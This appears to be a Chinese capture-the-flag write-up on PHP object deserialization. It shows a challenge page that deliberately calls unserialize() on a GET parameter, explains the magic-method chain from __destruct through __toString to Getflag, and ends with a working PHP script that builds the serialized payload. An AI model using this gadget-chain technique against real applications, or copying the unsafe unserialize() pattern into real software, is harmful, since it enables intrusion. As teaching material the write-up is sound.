<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
这是一题构造反序列化链的题目
简单了解下什么是反序列化,就是把一个对象或者字符串数字之类的东西,变成一条固定形式的字符串,有点类似json,用来传递数据,而且序列化出来的字符串可以通过反序列化重新变成原来的东西。
说白了就是把一个对象也好,一个数组字符串也罢,打包起来,变成字符串,需要的时候反序列化变回来
那么我们这题的构造链条是这样的
__destruct --> __toString --> Getflag
运行就执行 以字符串输出就执行 获取flag
构造代码输出即可
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w22m();
$b = new w33m();
$c = new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>